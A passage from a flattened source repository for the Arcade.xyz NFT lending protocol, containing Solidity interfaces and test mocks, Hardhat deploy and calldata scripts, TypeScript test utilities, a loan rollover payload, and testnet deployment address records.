(IPromissoryNote); 30 | 31 | function collateralToken() external returns (IERC721); 32 | 33 | function feeController() external returns (IFeeController); 34 | } -------------------------------------------------------------------------------- /contracts/interfaces/IFeeController.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | interface IFeeController { 6 | // ================ Events ================= 7 | 8 | event UpdateOriginationFee(uint256 _newFee); 9 | event UpdateRolloverFee(uint256 _newFee); 10 | event UpdateCollateralSaleFee(uint256 _newFee); 11 | event UpdatePayLaterFee(uint256 _newFee); 12 | 13 | // ================ Fee Setters ================= 14 | 15 | function setOriginationFee(uint256 _originationFee) external; 16 | 17 | function setRolloverFee(uint256 _rolloverFee) external; 18 | 19 | function setCollateralSaleFee(uint256 _collateralSaleFee) external; 20 | 21 | function setPayLaterFee(uint256 _payLaterFee) external; 22 | 23 | // ================ Fee Getters ================= 24 | 25 | function getOriginationFee() external view returns (uint256); 26 | 27 | function getRolloverFee() external view returns (uint256); 28 | 29 | function getCollateralSaleFee() external view returns (uint256); 30 | 31 | function getPayLaterFee() external view returns (uint256); 32 | } 33 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Arcade.xyz 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /contracts/test/MockERC20.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "@openzeppelin/contracts/utils/Context.sol"; 6 | import "@openzeppelin/contracts/token/ERC20/presets/ERC20PresetMinterPauser.sol"; 7 | 8 | contract MockERC20 is Context, ERC20Burnable { 9 | /** 10 | * @dev Initializes ERC20 token 11 | */ 12 | constructor(string memory name, string memory symbol) ERC20(name, symbol) {} 13 | 14 | /** 15 | * @dev Creates `amount` new tokens for `to`. Public for any test to call. 16 | * 17 | * See {ERC20-_mint}. 18 | */ 19 | function mint(address to, uint256 amount) public virtual { 20 | _mint(to, amount); 21 | } 22 | } 23 | 24 | contract MockERC20WithDecimals is ERC20PresetMinterPauser { 25 | uint8 private _decimals; 26 | 27 | /** 28 | * @dev Initializes ERC20 token 29 | */ 30 | constructor( 31 | string memory name, 32 | string memory symbol, 33 | uint8 decimals_ 34 | ) ERC20PresetMinterPauser(name, symbol) { 35 | _decimals = decimals_; 36 | } 37 | 38 | function decimals() public view virtual override returns (uint8) { 39 | return _decimals; 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /contracts/test/ERC721ReceiverMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | contract ERC721ReceiverMock { 6 | enum Error { 7 | None, 8 | RevertWithMessage, 9 | RevertWithoutMessage, 10 | Panic 11 | } 12 | 13 | bytes4 private immutable _retval; 14 | Error private immutable _error; 15 | 16 | event Received(address operator, address from, uint256 tokenId, bytes data, uint256 gas); 17 | 18 | constructor(bytes4 retval, Error error) { 19 | _retval = retval; 20 | _error = error; 21 | } 22 | 23 | function onERC721Received( 24 | address operator, 25 | address from, 26 | uint256 tokenId, 27 | bytes memory data 28 | ) public returns (bytes4) { 29 | if (_error == Error.RevertWithMessage) { 30 | revert("ERC721ReceiverMock: reverting"); 31 | } else if (_error == Error.RevertWithoutMessage) { 32 | //solhint-disable-next-line 33 | revert(); 34 | } else if (_error == Error.Panic) { 35 | uint256 a = uint256(0) / uint256(0); 36 | a; 37 | } 38 | emit Received(operator, from, tokenId, data, gasleft()); 39 | return _retval; 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /contracts/errors/LendingUtils.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "../libraries/LoanLibrary.sol"; 6 | 7 | /** 8 | * @title LendingUtilsErrors 9 | * @author Non-Fungible Technologies, Inc. 10 | * 11 | * This file contains custom errors for utilities used by the lending protocol contracts. 12 | * Errors are prefixed by the contract that throws them (e.g., "LC_" for LoanCore). 13 | */ 14 | 15 | // ==================================== ERC721 Permit ====================================== 16 | /// @notice All errors prefixed with ERC721P_, to separate from other contracts in the protocol. 17 | 18 | /** 19 | * @notice Deadline for the permit has expired. 20 | * 21 | * @param deadline Permit deadline parameter as a timestamp. 22 | */ 23 | error ERC721P_DeadlineExpired(uint256 deadline); 24 | 25 | /** 26 | * @notice Address of the owner to also be the owner of the tokenId. 27 | * 28 | * @param owner Owner parameter for the function call. 29 | */ 30 | error ERC721P_NotTokenOwner(address owner); 31 | 32 | /** 33 | * @notice Invalid signature. 34 | * 35 | * @param signer Signer recovered from ECDSA sugnature hash. 36 | */ 37 | error ERC721P_InvalidSignature(address signer); 38 | 39 | 40 | -------------------------------------------------------------------------------- /contracts/interfaces/IVaultDepositRouter.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | interface IVaultDepositRouter { 6 | // ============= Errors ============== 7 | 8 | error VDR_ZeroAddress(); 9 | error VDR_InvalidVault(address vault); 10 | error VDR_NotOwnerOrApproved(address vault, address caller); 11 | error VDR_BatchLengthMismatch(); 12 | 13 | // ================ Deposit Operations ================ 14 | 15 | function depositERC20(address vault, address token, uint256 amount) external; 16 | 17 | function depositERC20Batch(address vault, address[] calldata tokens, uint256[] calldata amounts) external; 18 | 19 | function depositERC721(address vault, address token, uint256 id) external; 20 | 21 | function depositERC721Batch(address vault, address[] calldata tokens, uint256[] calldata ids) external; 22 | 23 | function depositERC1155(address vault, address token, uint256 id, uint256 amount) external; 24 | 25 | function depositERC1155Batch(address vault, address[] calldata tokens, uint256[] calldata ids, uint256[] calldata amounts) external; 26 | 27 | function depositPunk(address vault, address token, uint256 id) external; 28 | 29 | function depositPunkBatch(address vault, address[] calldata tokens, uint256[] calldata ids) external; 30 | } 31 | -------------------------------------------------------------------------------- /scripts/deploy/deploy-cryptopunks.ts: -------------------------------------------------------------------------------- 1 | import hre, { ethers } from "hardhat"; 2 | import { SECTION_SEPARATOR, SUBSECTION_SEPARATOR } from "../utils/bootstrap-tools"; 3 | 4 | import { 5 | CryptoPunksMarket 6 | } from "../../typechain"; 7 | 8 | export interface DeployedResources { 9 | punks: CryptoPunksMarket; 10 | } 11 | 12 | export async function main(): Promise { 13 | // Hardhat always runs the compile task when running scripts through it. 14 | // If this runs in a standalone fashion you may want to call compile manually 15 | // to make sure everything is compiled 16 | // await run("compile"); 17 | 18 | console.log(SECTION_SEPARATOR); 19 | 20 | const CryptoPunksFactory = await ethers.getContractFactory("CryptoPunksMarket"); 21 | const punks = await CryptoPunksFactory.deploy(); 22 | await punks.deployed(); 23 | 24 | console.log("CryptoPunks deployed to:", punks.address); 25 | 26 | return { punks }; 27 | } 28 | 29 | // We recommend this pattern to be able to use async/await everywhere 30 | // and properly handle errors. 31 | if (require.main === module) { 32 | main() 33 | .then(() => process.exit(0)) 34 | .catch((error: Error) => { 35 | console.error(error); 36 | process.exit(1); 37 | }); 38 | } 39 | -------------------------------------------------------------------------------- /scripts/deploy/deploy-items-verifier.ts: -------------------------------------------------------------------------------- 1 | import hre, { ethers } from "hardhat"; 2 | import { SECTION_SEPARATOR, SUBSECTION_SEPARATOR } from "../utils/bootstrap-tools"; 3 | 4 | import { 5 | ArcadeItemsVerifier 6 | } from "../../typechain"; 7 | 8 | export interface DeployedResources { 9 | verifier: ArcadeItemsVerifier; 10 | } 11 | 12 | export async function main(): Promise { 13 | // Hardhat always runs the compile task when running scripts through it. 14 | // If this runs in a standalone fashion you may want to call compile manually 15 | // to make sure everything is compiled 16 | // await run("compile"); 17 | 18 | console.log(SECTION_SEPARATOR); 19 | 20 | const VerifierFactory = await ethers.getContractFactory("ArcadeItemsVerifier"); 21 | const verifier = await VerifierFactory.deploy(); 22 | await verifier.deployed(); 23 | 24 | console.log("ItemsVerifier deployed to:", verifier.address); 25 | 26 | return { verifier }; 27 | } 28 | 29 | // We recommend this pattern to be able to use async/await everywhere 30 | // and properly handle errors. 31 | if (require.main === module) { 32 | main() 33 | .then(() => process.exit(0)) 34 | .catch((error: Error) => { 35 | console.error(error); 36 | process.exit(1); 37 | }); 38 | } 39 | -------------------------------------------------------------------------------- /contracts/v1/LoanLibraryV1.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "../libraries/LoanLibrary.sol"; 6 | 7 | library LoanLibraryV1 { 8 | /** 9 | * @dev The raw terms of a loan 10 | */ 11 | struct LoanTerms { 12 | // The number of seconds representing relative due date of the loan 13 | uint256 durationSecs; 14 | // The amount of principal in terms of the payableCurrency 15 | uint256 principal; 16 | // The amount of interest in terms of the payableCurrency 17 | uint256 interest; 18 | // The tokenID of the collateral bundle 19 | uint256 collateralTokenId; 20 | // The payable currency for the loan principal and interest 21 | address payableCurrency; 22 | } 23 | 24 | /** 25 | * @dev The data of a loan. This is stored once the loan is Active 26 | */ 27 | struct LoanData { 28 | // The tokenId of the borrower note 29 | uint256 borrowerNoteId; 30 | // The tokenId of the lender note 31 | uint256 lenderNoteId; 32 | // The raw terms of the loan 33 | LoanTerms terms; 34 | // The current state of the loan 35 | LoanLibrary.LoanState state; 36 | // Timestamp representing absolute due date date of the loan 37 | uint256 dueDate; 38 | } 39 | } -------------------------------------------------------------------------------- /test/utils/types.ts: -------------------------------------------------------------------------------- 1 | import { BigNumber, BigNumberish } from "ethers"; 2 | 3 | export enum LoanState { 4 | DUMMY = 0, 5 | Active = 1, 6 | Repaid = 2, 7 | Defaulted = 3, 8 | } 9 | 10 | export interface SignatureItem { 11 | cType: 0 | 1 | 2; 12 | asset: string; 13 | tokenId: BigNumberish; 14 | amount: BigNumberish; 15 | } 16 | 17 | export interface ItemsPredicate { 18 | data: string; 19 | verifier: string; 20 | } 21 | 22 | export interface LoanTerms { 23 | durationSecs: BigNumberish; 24 | principal: BigNumber; 25 | interestRate: BigNumber; 26 | collateralAddress: string; 27 | collateralId: BigNumberish; 28 | payableCurrency: string; 29 | numInstallments: BigNumberish; 30 | deadline: BigNumberish; 31 | } 32 | 33 | export interface ItemsPayload { 34 | durationSecs: BigNumberish; 35 | principal: BigNumber; 36 | interestRate: BigNumber; 37 | collateralAddress: string; 38 | itemsHash: string; 39 | payableCurrency: string; 40 | numInstallments: BigNumberish; 41 | nonce: BigNumberish; 42 | side: 0 | 1; 43 | deadline: BigNumberish; 44 | } 45 | 46 | export interface LoanData { 47 | terms: LoanTerms; 48 | state: LoanState; 49 | startDate: BigNumberish; 50 | balance: BigNumber; 51 | balancePaid: BigNumber; 52 | lateFeesAccrued: BigNumber; 53 | } 54 | -------------------------------------------------------------------------------- /scripts/deploy/deploy-single-contract.ts: -------------------------------------------------------------------------------- 1 | import hre, { ethers } from "hardhat"; 2 | import { SECTION_SEPARATOR, SUBSECTION_SEPARATOR } from "../utils/bootstrap-tools"; 3 | 4 | import { Contract } from "ethers"; 5 | 6 | export interface DeployedResources { 7 | contract: Contract; 8 | } 9 | 10 | export async function main(): Promise { 11 | // Hardhat always runs the compile task when running scripts through it. 12 | // If this runs in a standalone fashion you may want to call compile manually 13 | // to make sure everything is compiled 14 | // await run("compile"); 15 | 16 | const CONTRACT_NAME: string = "LoanCore"; 17 | const ARGS: string[] = []; 18 | 19 | console.log(SECTION_SEPARATOR); 20 | 21 | const factory = await ethers.getContractFactory(CONTRACT_NAME); 22 | const contract = await factory.deploy(...ARGS); 23 | await contract.deployed(); 24 | 25 | console.log(`Contract ${CONTRACT_NAME} deployed to:`, contract.address); 26 | 27 | return { contract }; 28 | } 29 | 30 | // We recommend this pattern to be able to use async/await everywhere 31 | // and properly handle errors. 32 | if (require.main === module) { 33 | main() 34 | .then(() => process.exit(0)) 35 | .catch((error: Error) => { 36 | console.error(error); 37 | process.exit(1); 38 | }); 39 | } 40 | -------------------------------------------------------------------------------- /scripts/deploy/deploy-punks-verifier.ts: -------------------------------------------------------------------------------- 1 | import hre, { ethers } from "hardhat"; 2 | import { SECTION_SEPARATOR, SUBSECTION_SEPARATOR } from "../utils/bootstrap-tools"; 3 | 4 | import { 5 | PunksVerifier 6 | } from "../../typechain"; 7 | 8 | export interface DeployedResources { 9 | verifier: PunksVerifier; 10 | } 11 | 12 | export async function main(): Promise { 13 | // Hardhat always runs the compile task when running scripts through it. 14 | // If this runs in a standalone fashion you may want to call compile manually 15 | // to make sure everything is compiled 16 | // await run("compile"); 17 | 18 | console.log(SECTION_SEPARATOR); 19 | 20 | const PUNKS_ADDRESS = "0xb47e3cd837dDF8e4c57F05d70Ab865de6e193BBB"; 21 | 22 | const VerifierFactory = await ethers.getContractFactory("PunksVerifier"); 23 | const verifier = await VerifierFactory.deploy(PUNKS_ADDRESS); 24 | await verifier.deployed(); 25 | 26 | console.log("PunksVerifier deployed to:", verifier.address); 27 | 28 | return { verifier }; 29 | } 30 | 31 | // We recommend this pattern to be able to use async/await everywhere 32 | // and properly handle errors. 33 | if (require.main === module) { 34 | main() 35 | .then(() => process.exit(0)) 36 | .catch((error: Error) => { 37 | console.error(error); 38 | process.exit(1); 39 | }); 40 | } 41 | -------------------------------------------------------------------------------- /test/utils/erc1155.ts: -------------------------------------------------------------------------------- 1 | import { expect } from "chai"; 2 | import { Signer, BigNumber } from "ethers"; 3 | import { MockERC1155 } from "../../typechain"; 4 | 5 | export const ZERO_ADDRESS = "0x0000000000000000000000000000000000000000"; 6 | 7 | /** 8 | * Mint tokens for `to` 9 | */ 10 | export const mint = async (token: MockERC1155, to: Signer, amount: BigNumber): Promise => { 11 | const address = await to.getAddress(); 12 | return mintToAddress(token, address, amount); 13 | }; 14 | 15 | /** 16 | * Mint tokens for `to` 17 | */ 18 | export const mintToAddress = async (token: MockERC1155, to: string, amount: BigNumber): Promise => { 19 | const tx = await token.mint(to, amount); 20 | const receipt = await tx.wait(); 21 | 22 | if (receipt && receipt.events && receipt.events.length === 1 && receipt.events[0].args) { 23 | return receipt.events[0].args.id; 24 | } else { 25 | throw new Error("Unable to initialize bundle"); 26 | } 27 | }; 28 | 29 | /** 30 | * approve `amount` tokens for `to` from `from` 31 | */ 32 | export const approve = async (token: MockERC1155, sender: Signer, toAddress: string): Promise => { 33 | const senderAddress = await sender.getAddress(); 34 | 35 | await expect(token.connect(sender).setApprovalForAll(toAddress, true)) 36 | .to.emit(token, "ApprovalForAll") 37 | .withArgs(senderAddress, toAddress, true); 38 | }; 39 | -------------------------------------------------------------------------------- /scripts/utils/nfts.ts: -------------------------------------------------------------------------------- 1 | import { Contract } from "ethers"; 2 | import { MockERC1155Metadata, MockERC721Metadata } from "../../typechain"; 3 | 4 | export function getBalanceERC1155(asset: Contract, id: number, addr: string): Promise { 5 | return asset.balanceOf(addr, id).toString(); 6 | } 7 | 8 | export async function mintNFTs( 9 | target: string, 10 | [numPunks, numArts, numBeats0, numBeats1]: [number, number, number, number], 11 | punks: MockERC721Metadata, 12 | art: MockERC721Metadata, 13 | beats: MockERC1155Metadata, 14 | ): Promise { 15 | let j = 1; 16 | 17 | for (let i = 0; i < numPunks; i++) { 18 | await punks["mint(address,string)"]( 19 | target, 20 | `https://s3.amazonaws.com/images.pawn.fi/test-nft-metadata/PawnFiPunks/nft-${j++}.json`, 21 | ); 22 | } 23 | 24 | for (let i = 0; i < numArts; i++) { 25 | await art["mint(address,string)"]( 26 | target, 27 | `https://s3.amazonaws.com/images.pawn.fi/test-nft-metadata/PawnArtIo/nft-${j++}.json`, 28 | ); 29 | } 30 | 31 | const uris = [ 32 | `https://s3.amazonaws.com/images.pawn.fi/test-nft-metadata/PawnBeats/nft-${j++}.json`, 33 | `https://s3.amazonaws.com/images.pawn.fi/test-nft-metadata/PawnBeats/nft-${j++}.json`, 34 | ]; 35 | 36 | await beats.mintBatch(target, [0, 1], [numBeats0, numBeats1], uris, "0x00"); 37 | } 38 | -------------------------------------------------------------------------------- /test/utils/erc20.ts: -------------------------------------------------------------------------------- 1 | import { expect } from "chai"; 2 | import { Signer, BigNumber, BigNumberish } from "ethers"; 3 | import { MockERC20 } from "../../typechain/MockERC20"; 4 | 5 | export const ZERO_ADDRESS = "0x0000000000000000000000000000000000000000"; 6 | 7 | /** 8 | * Mint `amount` tokens for `to` 9 | */ 10 | export const mint = async (token: MockERC20, to: Signer, amount: BigNumberish): Promise => { 11 | const address = await to.getAddress(); 12 | const preBalance = await token.balanceOf(address); 13 | 14 | await expect(token.mint(address, amount)).to.emit(token, "Transfer").withArgs(ZERO_ADDRESS, address, amount); 15 | 16 | const postBalance = await token.balanceOf(address); 17 | expect(postBalance.sub(preBalance)).to.equal(amount); 18 | }; 19 | 20 | /** 21 | * approve `amount` tokens for `to` from `from` 22 | */ 23 | export const approve = async ( 24 | token: MockERC20, 25 | sender: Signer, 26 | toAddress: string, 27 | amount: BigNumber, 28 | ): Promise => { 29 | const senderAddress = await sender.getAddress(); 30 | const preApproval = await token.allowance(senderAddress, toAddress); 31 | 32 | await expect(token.connect(sender).approve(toAddress, amount)) 33 | .to.emit(token, "Approval") 34 | .withArgs(senderAddress, toAddress, amount); 35 | 36 | const postApproval = await token.allowance(senderAddress, toAddress); 37 | expect(postApproval.sub(preApproval)).to.equal(amount); 38 | }; 39 | -------------------------------------------------------------------------------- /scripts/generate-rollover-calldata.ts: -------------------------------------------------------------------------------- 1 | /* eslint no-unused-vars: 0 */ 2 | 3 | import fs from 'fs'; 4 | import hre, { ethers } from "hardhat"; 5 | 6 | import { FlashRolloverV1toV2 } from "../typechain"; 7 | 8 | export async function main(): Promise { 9 | const payloadStr = fs.readFileSync('./rollover_payload.json', 'utf-8'); 10 | const payload = JSON.parse(payloadStr); 11 | 12 | const frFactory = await ethers.getContractFactory("FlashRolloverV1toV2"); 13 | const fr = await frFactory.attach("0x07352eD030C6fd8d12f8258d2DF6f99Cba533dC9"); 14 | 15 | // const terms = payload.newLoanTerms; 16 | // const vaultId = ethers.BigNumber.from(terms.collateralId); 17 | // terms.collateralId = vaultId; 18 | 19 | const calldata = fr.interface.encodeFunctionData('rolloverLoan', [ 20 | payload.contracts, 21 | payload.loanId, 22 | payload.newLoanTerms, 23 | payload.lender, 24 | payload.nonce, 25 | payload.signature.v, 26 | payload.signature.r, 27 | payload.signature.s 28 | ]); 29 | 30 | console.log("\nEncoded calldata:") 31 | console.log(calldata); 32 | } 33 | 34 | // We recommend this pattern to be able to use async/await everywhere 35 | // and properly handle errors. 36 | if (require.main === module) { 37 | main() 38 | .then(() => process.exit(0)) 39 | .catch((error: Error) => { 40 | console.error(error); 41 | process.exit(1); 42 | }); 43 | } -------------------------------------------------------------------------------- /scripts/deploy/deploy-flash-rollover.ts: -------------------------------------------------------------------------------- 1 | import hre, { ethers } from "hardhat"; 2 | import { SECTION_SEPARATOR, SUBSECTION_SEPARATOR } from "../utils/bootstrap-tools"; 3 | 4 | import { 5 | FlashRolloverV1toV2 6 | } from "../../typechain"; 7 | 8 | export interface DeployedResources { 9 | flashRollover: FlashRolloverV1toV2; 10 | } 11 | 12 | export async function main(): Promise { 13 | // Hardhat always runs the compile task when running scripts through it. 14 | // If this runs in a standalone fashion you may want to call compile manually 15 | // to make sure everything is compiled 16 | // await run("compile"); 17 | 18 | const ADDRESSES_PROVIDER_ADDRESS = "0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5"; 19 | 20 | console.log(SECTION_SEPARATOR); 21 | 22 | console.log("Deploying rollover..."); 23 | 24 | const factory = await ethers.getContractFactory("FlashRolloverV1toV2") 25 | const flashRollover = await factory.deploy(ADDRESSES_PROVIDER_ADDRESS); 26 | 27 | console.log("Rollover deployed to:", flashRollover.address); 28 | 29 | return { flashRollover }; 30 | } 31 | 32 | // We recommend this pattern to be able to use async/await everywhere 33 | // and properly handle errors. 34 | if (require.main === module) { 35 | main() 36 | .then(() => process.exit(0)) 37 | .catch((error: Error) => { 38 | console.error(error); 39 | process.exit(1); 40 | }); 41 | } 42 | -------------------------------------------------------------------------------- /rollover_payload.json: -------------------------------------------------------------------------------- 1 | { 2 | "legacy": false, 3 | "lender": "0xb22EB63e215Ba39F53845c7aC172a7139f20Ea13", 4 | "contracts": { 5 | "sourceLoanCore": "0x7691EE8feBD406968D46F9De96cB8CC18fC8b325", 6 | "targetLoanCore": "0x81b2F8Fc75Bab64A6b144aa6d2fAa127B4Fa7fD9", 7 | "sourceRepaymentController": "0xD7B4586b4eD87e2B98aD2df37A6c949C5aB1B1dB", 8 | "targetOriginationController": "0x4c52ca29388A8A854095Fd2BeB83191D68DC840b", 9 | "targetVaultFactory": "0x6e9B4c2f6Bd57b7b924d29b5dcfCa1273Ecc94A2" 10 | }, 11 | "loanId": "29", 12 | "newLoanTerms": { 13 | "durationSecs": 7776000, 14 | "deadline": 1659646380, 15 | "numInstallments": 0, 16 | "interestRate": "375000000000000000000", 17 | "principal": "125000000000", 18 | "collateralAddress": "0x6e9B4c2f6Bd57b7b924d29b5dcfCa1273Ecc94A2", 19 | "collateralId": "0x71e7c351E8cB763f0c6Da62A64EBA401827d35C8", 20 | "payableCurrency": "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48" 21 | }, 22 | "nonce": 1659546358, 23 | "side": 1, 24 | "signature": { 25 | "v": 28, 26 | "r": "0x09c46f51c5be5d40c41ae9d67c3e69e665e58af77dee81c1c2eaf0cd7fc75d00", 27 | "s": "0x53fc3a96b4dcd34b42a0be21465eb175d815a8160c4cda2c4fff92fe9703f1b1" 28 | }, 29 | "metadata": { 30 | "totalInterest": 4623.287671232876, 31 | "payableTokenDecimals": 6, 32 | "payableTokenSymbol": "USDC", 33 | "dueDate": "2022-11-01T17:06:24.725Z" 34 | } 35 | } -------------------------------------------------------------------------------- /scripts/bootstrap-state-no-loans.ts: -------------------------------------------------------------------------------- 1 | /* eslint no-unused-vars: 0 */ 2 | 3 | import { ethers } from "hardhat"; 4 | 5 | import { main as deploy } from "./deploy/deploy"; 6 | import { deployNFTs } from "./utils/deploy-assets"; 7 | import { mintAndDistribute } from "./utils/mint-distribute-assets"; 8 | import { SECTION_SEPARATOR } from "./utils/bootstrap-tools"; 9 | 10 | export async function main(): Promise { 11 | // Bootstrap five accounts only. 12 | // Skip the first account, since the 13 | // first signer will be the deployer. 14 | const [, ...signers] = (await ethers.getSigners()).slice(0, 6); 15 | 16 | console.log(SECTION_SEPARATOR); 17 | console.log("Deploying resources...\n"); 18 | 19 | // Deploy the smart contracts 20 | const { loanCore } = await deploy(); 21 | console.log(SECTION_SEPARATOR); 22 | 23 | // Mint some NFTs 24 | console.log(SECTION_SEPARATOR); 25 | const { punks, art, beats, weth, pawnToken, usd } = await deployNFTs(); 26 | 27 | // Distribute NFTs and ERC20s 28 | console.log(SECTION_SEPARATOR); 29 | console.log("Distributing assets...\n"); 30 | await mintAndDistribute(signers, weth, pawnToken, usd, punks, art, beats); 31 | } 32 | 33 | // We recommend this pattern to be able to use async/await everywhere 34 | // and properly handle errors. 35 | if (require.main === module) { 36 | main() 37 | .then(() => process.exit(0)) 38 | .catch((error: Error) => { 39 | console.error(error); 40 | process.exit(1); 41 | }); 42 | } 43 | -------------------------------------------------------------------------------- /test/utils/erc721.ts: -------------------------------------------------------------------------------- 1 | import { expect } from "chai"; 2 | import { Signer, BigNumber } from "ethers"; 3 | import { MockERC721 } from "../../typechain/MockERC721"; 4 | 5 | export const ZERO_ADDRESS = "0x0000000000000000000000000000000000000000"; 6 | 7 | /** 8 | * Mint a token for `to` 9 | */ 10 | export const mint = async (token: MockERC721, to: Signer): Promise => { 11 | const address = await to.getAddress(); 12 | return mintToAddress(token, address); 13 | }; 14 | 15 | /** 16 | * Mint a token for `to` 17 | */ 18 | export const mintToAddress = async (token: MockERC721, to: string): Promise => { 19 | const tx = await token.mint(to); 20 | const receipt = await tx.wait(); 21 | 22 | if (receipt && receipt.events && receipt.events.length === 1 && receipt.events[0].args) { 23 | return receipt.events[0].args.tokenId; 24 | } else { 25 | throw new Error("Unable to initialize bundle"); 26 | } 27 | }; 28 | 29 | /** 30 | * approve `amount` tokens for `to` from `from` 31 | */ 32 | export const approve = async ( 33 | token: MockERC721, 34 | sender: Signer, 35 | toAddress: string, 36 | tokenId: BigNumber, 37 | ): Promise => { 38 | const senderAddress = await sender.getAddress(); 39 | expect(await token.getApproved(tokenId)).to.not.equal(toAddress); 40 | 41 | await expect(token.connect(sender).approve(toAddress, tokenId)) 42 | .to.emit(token, "Approval") 43 | .withArgs(senderAddress, toAddress, tokenId); 44 | 45 | expect(await token.getApproved(tokenId)).to.equal(toAddress); 46 | }; 47 | -------------------------------------------------------------------------------- /scripts/deploy/deploy-vault-upgrade-rollover.ts: -------------------------------------------------------------------------------- 1 | import hre, { ethers } from "hardhat"; 2 | import { SECTION_SEPARATOR, SUBSECTION_SEPARATOR } from "../utils/bootstrap-tools"; 3 | 4 | import { 5 | FlashRolloverStakingVaultUpgrade 6 | } from "../../typechain"; 7 | 8 | export interface DeployedResources { 9 | flashRollover: FlashRolloverStakingVaultUpgrade; 10 | } 11 | 12 | export async function main(): Promise { 13 | // Hardhat always runs the compile task when running scripts through it. 14 | // If this runs in a standalone fashion you may want to call compile manually 15 | // to make sure everything is compiled 16 | // await run("compile"); 17 | 18 | const MULTISIG = "0x398e92C827C5FA0F33F171DC8E20570c5CfF330e"; 19 | const VAULT_ADDRESS = "0xBA12222222228d8Ba445958a75a0704d566BF2C8"; 20 | 21 | console.log(SECTION_SEPARATOR); 22 | 23 | console.log("Deploying rollover..."); 24 | 25 | const factory = await ethers.getContractFactory("FlashRolloverStakingVaultUpgrade") 26 | const flashRollover = await factory.deploy(VAULT_ADDRESS); 27 | 28 | console.log("Rollover deployed to:", flashRollover.address); 29 | 30 | await flashRollover.setOwner(MULTISIG); 31 | 32 | console.log("Rollover ownership transferred to multisig."); 33 | 34 | return { flashRollover }; 35 | } 36 | 37 | // We recommend this pattern to be able to use async/await everywhere 38 | // and properly handle errors. 39 | if (require.main === module) { 40 | main() 41 | .then(() => process.exit(0)) 42 | .catch((error: Error) => { 43 | console.error(error); 44 | process.exit(1); 45 | }); 46 | } 47 | -------------------------------------------------------------------------------- /.deployments/ropsten/ropsten-1655484481.json: -------------------------------------------------------------------------------- 1 | { 2 | "CallWhitelist": { 3 | "contractAddress": "0x6079F3BEffD5660Ba3EadeBb923550B5ad88dE5d", 4 | "contractImplementationAddress": "", 5 | "constructorArgs": [] 6 | }, 7 | "AssetVault": { 8 | "contractAddress": "0xEA33C6017EfC1D7C07c6C705D9E73b26F60281D2", 9 | "contractImplementationAddress": "", 10 | "constructorArgs": [] 11 | }, 12 | "VaultFactory": { 13 | "contractAddress": "0x2a62005dB1C5AE759552e28981D1bb55aF2C690f", 14 | "contractImplementationAddress": "0xC06f3ec8601dC3e8116EDd05d5A1721DC2d7250E", 15 | "constructorArgs": [] 16 | }, 17 | "FeeController": { 18 | "contractAddress": "0x584503250fc246Ce459E117195a64CF96544f027", 19 | "contractImplementationAddress": "", 20 | "constructorArgs": [] 21 | }, 22 | "BorrowerNote": { 23 | "contractAddress": "0x4E6a527c7fFcFbE2FA16D14BF9c96D8fCec4AB7C", 24 | "constructorArgs": [ 25 | "Arcade.xyz BorrowerNote", 26 | "aBN" 27 | ] 28 | }, 29 | "LenderNote": { 30 | "contractAddress": "0x86eB882404bFEE5847B5067F70DA498EC8Efdb03", 31 | "constructorArgs": [ 32 | "Arcade.xyz LenderNote", 33 | "aLN" 34 | ] 35 | }, 36 | "LoanCore": { 37 | "contractAddress": "0x0fACDc440d496798e095F87e50a8ed3A5680d133", 38 | "contractImplementationAddress": "0x10537932a0753c5C262814A3a0b0b4Dc7D4D80ca", 39 | "constructorArgs": [] 40 | }, 41 | "RepaymentController": { 42 | "contractAddress": "0x562803B258CC1b5EcC1398443940E6Ff15f649D2", 43 | "contractImplementationAddress": "", 44 | "constructorArgs": [ 45 | "0x0fACDc440d496798e095F87e50a8ed3A5680d133" 46 | ] 47 | }, 48 | "OriginationController": { 49 | "contractAddress": "0xd45ce8173262655c1aCbA3b376B1A77e4d7CDc7F", 50 | "contractImplementationAddress": "0x27Ed938FF4d532332C2701866D7869EDcB39d7E4", 51 | "constructorArgs": [] 52 | } 53 | } -------------------------------------------------------------------------------- /.deployments/ropsten/ropsten-1655508568.json: -------------------------------------------------------------------------------- 1 | { 2 | "CallWhitelist": { 3 | "contractAddress": "0xbc6D895611f49916e24cCafc7cEDBF36575C07E1", 4 | "contractImplementationAddress": "", 5 | "constructorArgs": [] 6 | }, 7 | "AssetVault": { 8 | "contractAddress": 